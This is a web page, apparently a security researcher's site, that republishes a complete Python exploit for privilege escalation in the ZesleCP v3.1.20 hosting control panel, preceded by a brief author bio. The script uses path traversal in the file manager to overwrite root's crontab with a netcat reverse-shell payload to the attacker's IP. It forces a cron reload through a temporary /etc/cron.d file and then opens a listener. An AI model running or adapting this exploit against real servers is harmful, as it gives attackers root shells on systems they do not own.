Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

# Exploit Title: ZesleCP v3.1.20 - Privilege Escalation
# Exploit Author: # Exploit Title: ZesleCP v3.1.20 - Privilege Escalation
# Exploit Author: Ahmet ?mit BAYRAM
# Date: 09.11.2024
# Vendor Homepage: https://zeslecp.com
# Tested on: Ubuntu 20.04

# Privilege Escalation Exploit for ZesleCP Hosting Control Panel
# This exploit leverages a path traversal vulnerability in the file editing
functionality of the ZesleCP file manager.
# The exploit utilizes this vulnerability to modify the root user's cron
file, creating a cron job that runs with root privileges.
# Although edited with user-level privileges, files manipulated through the
'file_path' parameter retain their original ownership.
# This allows unauthorized editing of root-owned files, such as the cron
file located in `/var/spool/cron/crontabs/root`.
# The exploit places a reverse shell payload in this file to establish a
reverse shell connection to the attacker's specified IP and port.
# Since the cron service requires a restart to run the new job, the exploit
creates and then deletes a temporary cron job in the `/etc/cron.d`
directory.
# This process triggers a cron service refresh, enabling the reverse shell
command to execute successfully.

import requests
from requests.sessions import Session
import subprocess
import urllib3
import time

# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Get user input
host = input("Enter ZesleCP IP address: ")
zeslecp_port = input("Enter ZesleCP port (default 2087): ")
zeslecp_port = 2087 if zeslecp_port == "" else int(zeslecp_port)
username = input("Enter username: ")
password = input("Enter password: ")
reverse_ip = input("Enter your reverse shell IP address: ")
reverse_port = int(input("Enter your reverse shell port: "))

# URL settings
login_url = f"https://{host}:{zeslecp_port}/login"
save_file_url = f"https://{host}:{zeslecp_port}/file-manager/save-file"
trash_file_url = f"https://{host}:{zeslecp_port}/file-manager/trash"

# Start session
session = Session()
session.verify = False # Ignore SSL warnings

def login():
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*"
}
data = {
"username": username,
"password": password,
"locale": ""
}
response = session.post(login_url, headers=headers, json=data)
if response.status_code == 200 and "zeslecp_session" in response.cookies:
print("[+] Login successful.")
session.cookies.update(response.cookies)
return True
else:
print("[-] Login failed.")
return False

def create_temp_cron_file():
# Create a temporary cron file to trigger cron refresh
temp_cron_payload = (
"# Temporary cron file for triggering reload\n"
"* * * * * echo 'temp' > /dev/null\n"
)
data = {
"file_path": "../../../../../../etc/cron.d/temp_trigger",
"data": temp_cron_payload
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(save_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Temporary cron file created successfully.")
return True
else:
print("[-] Failed to create temporary cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False

def delete_temp_cron_file():
# Delete the temporary cron file
data = {
"files": [{"path": "../../../../../../etc/cron.d/temp_trigger", "type":
"file"}]
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(trash_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Temporary cron file deleted successfully.")
return True
else:
print("[-] Failed to delete temporary cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False

def modify_cron_for_reverse_shell():
cron_payload = (
"# DO NOT EDIT THIS FILE - edit the master and reinstall.\n"
"MAILTO=\"\"\n"
f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {
reverse_ip} {reverse_port} >/tmp/f\n\n"
)
data = {
"file_path": "../../../../../../var/spool/cron/crontabs/root",
"data": cron_payload
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(save_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Cron job with reverse shell added successfully.")
return True
else:
print("[-] Failed to modify cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False

# Start listener with verbose output
def start_listener():
print(f"[+] Starting reverse shell listener on port {reverse_port}...")
listener_command = f"nc -vv -l -p {reverse_port} -n"
subprocess.run(listener_command, shell=True)

def main():
if not login():
exit(1)

if modify_cron_for_reverse_shell():
if create_temp_cron_file():
time.sleep(2) # Wait 2 seconds after creating the file
if delete_temp_cron_file():
print("[+] Cron should now be refreshed, and reverse shell job active.")
start_listener() # Start listener after cron reload is triggered

if __name__ == "__main__":
main()
Social Media Share